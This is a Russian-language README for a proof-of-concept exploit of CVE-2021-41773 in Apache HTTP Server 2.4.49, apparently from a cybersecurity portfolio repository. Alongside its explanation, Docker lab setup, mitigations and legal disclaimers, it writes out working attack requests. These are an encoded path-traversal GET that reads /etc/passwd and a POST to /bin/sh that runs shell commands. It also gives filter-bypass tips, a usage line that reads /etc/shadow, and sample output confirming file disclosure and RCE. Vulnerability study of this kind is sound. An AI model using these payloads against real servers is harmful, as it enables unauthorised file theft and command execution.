
Prueba de concepto de CVE-2021-41773
Только для использования в контролируемых и собственных средах. Не применять против систем без разрешения.
PoC разработан для демонстрации и понимания уязвимости CVE-2021-41773, присутствующей в Apache HTTP Server 2.4.49.
Ошибка находится в функции ap_normalize_path(), которая неправильно проверяла символы, закодированные в URL. Это позволяло атакующему выйти за пределы DocumentRoot с помощью последовательности закодированных символов (%2e%2e%2f вместо ../), читая произвольные файлы системы.
Когда модуль mod_cgi был включён, уязвимость перерастала в RCE (Remote Code Execution), позволяя выполнять команды непосредственно на сервере с правами процесса Apache.
Сервер должен удовлетворять всем следующим условиям, чтобы быть уязвимым:
| Условие | Детали |
|---|---|
| Версия Apache | Точно 2.4.49 |
| Директива доступа | Require all granted в конфигурации |
| Модуль CGI | mod_cgi включён (только для RCE) |
Apache 2.4.49 отфильтровывал классический ../, но не его URL-кодированную версию. Атакующий формирует путь, который не обнаруживается фильтром, но корректно интерпретируется операционной системой:
GET /cgi-bin/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd
%2e%2e%2f — это URL-кодировка ../. Apache пропускал её, ОС разрешала, и в результате получался доступ к файлам вне веб-директории.
При активном mod_cgi обход пути используется для указания на /bin/sh вместо файла. Apache обрабатывает его как CGI-скрипт и выполняет. Команда передаётся в теле POST как минимальный shell-скрипт:
POST /cgi-bin/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fbin/sh
#!/bin/sh
echo 'Content-Type: text/plain'
echo
id 2>&1
Вывод команды приходит в HTTP-ответе.
Самый чистый способ воспроизвести уязвимость — с помощью Docker:
docker run -d -p 8080:80 --name apache-vuln ghcr.io/blasty/CVE-2021-41773
Или с ручным образом Apache 2.4.49 с уязвимой конфигурацией:
<Directory />
Require all granted
</Directory>
Оставлю здесь файлы конфигурации, которые я использовал для теста.
Почему urllib3, а не requests?
requests автоматически перекодирует символы пути перед отправкой.
Это ломает полезную нагрузку, так как сервер получает %252e вместо %2e.
urllib3 позволяет отправлять путь без изменений.
Почему .%2e/, а не %2e%2e/?
Apache фильтрует %2e%2e/ в модуле mod_rewrite.
Вариант .%2e/ семантически эквивалентен, но проходит фильтр,
потому что нормализация пути происходит после проверки.
mod_cgi должен быть включён, чтобы режим RCE работал.
Без него возможен только обход пути.python PoC_2021-41773.py --target <URL> --mode <traversal|rce> [--cmd <команда>]
python PoC_2021-41773.py --target http://localhost:8080 --mode traversal
python PoC_2021-41773.py --target http://localhost:8080 --mode rce --cmd id
python PoC_2021-41773.py --target http://localhost:8080 --mode rce --cmd "cat /etc/shadow"
=======================================================
CVE-2021-41773 — Apache 2.4.49 Path Traversal + RCE
PoC с образовательными целями — только в собственных средах
=======================================================
[+] Режим: Path traversal
[+] Цель: http://localhost:8080
[+] Сформированный URL: http://localhost:8080/cgi-bin/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd
[+] Отправка запроса...
Сервер уязвим, Status code: 200
=== Содержимое /etc/passwd:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
[+] Режим: RCE via mod_cgi
[+] Цель: http://localhost:8080
[+] Команда: id
[+] Отправка запроса...
[+] RCE подтверждено
uid=1(daemon) gid=1(daemon) groups=1(daemon)
2.4.51 или выше.Require all denied как значение по умолчанию.mod_cgi, если он не является строго необходимым.⚠️ Этот репозиторий предназначен исключительно для образовательных целей.
Использование данного эксплойта против систем без явного разрешения незаконно.
Протестировано исключительно в локальных контролируемых средах.
PoC разработан с образовательными целями для портфолио по кибербезопасности.
| Аргумент | Обязателен | Описание |
|---|
--target | Да | Базовый URL сервера (например, http://localhost:8080) |
--mode | Да | traversal для чтения файлов, rce для выполнения команд |
--cmd | Нет | Команда для выполнения в режиме rce (по умолчанию: id) |